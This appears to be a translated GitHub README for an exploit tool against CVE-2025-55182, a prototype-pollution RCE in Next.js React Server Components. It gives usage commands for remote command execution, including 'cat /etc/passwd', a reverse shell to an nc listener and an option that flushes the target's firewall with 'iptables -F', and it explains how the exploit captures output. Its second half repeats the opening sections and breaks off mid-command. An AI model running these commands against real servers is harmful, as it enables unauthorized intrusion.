raivenLockdown/WEB-CLI_RCE_React2Shell
GitHub: raivenLockdown/WEB-CLI_RCE_React2Shell
针对CVE-2025-55182漏洞的Next.js原型污染RCE利用工具。
Stars: 4 | Forks: 0
# REACT2SHELL -> REACT2SHELL
## 🎯 快速概述(这是什么?)
这个工具是针对 **CVE-2025-55182** 的一个简单的概念验证(PoC)漏洞利用程序。这是一个在**Next.js**应用程序中发现的严重漏洞(原型污染),这些应用程序使用了**React 服务器组件**。
如果目标服务器存在漏洞,这个脚本允许你在其上运行操作系统命令(远程代码执行,或RCE)。
这个工具是为学习、CTF和负责任的安全研究而构建的。
## ⚠️ 学生和CTF玩家的免责声明
**请合法使用。** 只能在你拥有或明确、有文件记录的测试权限的系统上运行此漏洞利用程序。未经授权的使用是非法的。此工具仅用于教育目的。
## 🌟 如何使用它
此工具有三种运行命令的主要方式:一个简单的单个命令、一个完整的交互式Web控制台以及一个尝试经典反向shell。
### ⚙️ 安装
1. **获取代码:**
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
2. **安装库:**
pip install requests
### 模式1:交互式Web控制台(推荐用于CTF)
这是与目标交互的最简单方式。它在你的机器上启动一个本地网页,就像终端一样。
1. **运行脚本:**
python3 exploit.py --web-cli
*示例:* `python3 exploit.py http://target.com/ --web-cli`
2. **打开浏览器:** 脚本会告诉您打开 `http://127.0.0.1:8000/`。然后您可以直接在网页中输入命令(如 `ls`、`whoami`、`cat /etc/passwd`)。
### 模式2:单个命令执行
运行一个命令,并在本地终端中立即获得输出。适用于快速检查,如查找您的用户ID。
```
python3 exploit.py --cmd ''
```
*示例:* `python3 exploit.py http://target.com/ --cmd 'id'`
### 模式3:反向shell尝试
如果您想要一个稳定、持久的连接,请使用此模式。**注意:** 由于防火墙(出口过滤),在现实世界的环境中,这通常会失败。
1. **启动您的监听器(例如,`netcat`):**
nc -lvnp 55555
2. **运行漏洞利用程序:**
python3 exploit.py -i -p 55555 [--flush]
* `-i `: 您的机器的IP。
* `-p 55555`: 您的监听器使用的端口。
* `--flush`(可选):尝试在目标上运行 `iptables -F` 以清除主机防火墙。
## 🔬 技术说明(漏洞是如何工作的)
漏洞利用程序使用**原型污染**漏洞来实现RCE。
1. **原型污染:** 脚本向一个有漏洞的Next.js端点发送一个精心制作的负载。这个负载利用了服务器处理数据的方式中的漏洞,允许我们向基本的JavaScript对象结构(`Object.prototype`)添加属性。
2. **RCE触发:** 我们污染一个特定的、控制服务器运行什么代码的内部属性(使用Node.js的`child_process`)。我们将该属性的值替换为我们自己的shell命令。
3. **输出捕获:** 在单命令或Web CLI模式下运行命令时,漏洞利用程序使服务器执行命令(`execSync`)并立即抛出一个无害的错误。命令的输出被巧妙地填充到错误消息的`digest`字段中。Python脚本然后读取此字段以获取结果。
## 🤝 参考资料
这项研究依赖于安全社区最初的工作和披露。感谢所有研究人员和开源贡献者。
### 📚 关键参考资料
* [CVE-2025-55182原始PoC仓库](https://github.com/msanft/CVE-2025-55182) - (此漏洞利用程序的基础。)
* [CVE-2025-55182原始PoC代码示例](https://github.com/msanft/CVE-2025-55182/blob/main/poc.py) - (初始代码示例。)
* [React 服务器组件中的关键安全漏洞](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) - (官方React博客上关于问题的帖子。)
* [React中的关键漏洞(CVE-2025-55182)](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182) - (详细的安全分析。)
* [React 服务器函数文档](https://react.dev/reference/rsc/server-functions) - (官方文档解释了有漏洞的组件是如何工作的。)
## ⚠️ 学生和CTF玩家的免责声明
**请合法使用。** 只能在你拥有或明确、有文件记录的测试权限的系统上运行此漏洞利用程序。未经授权的使用是非法的。此工具仅用于教育目的。
## 🌟 如何使用它
此工具有三种运行命令的主要方式:一个简单的单个命令、一个完整的交互式Web控制台以及一个尝试经典反向shell。
### ⚙️ 安装
1. **获取代码:**
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
2. **安装库:**
pip install requests
### 模式1:交互式Web控制台(推荐用于CTF)
这是与目标交互的最简单方式。它在你的机器上启动一个本地网页,就像终端一样。
1. **运行脚本:**
python3 exploit.py 标签:威胁模拟, 逆向工具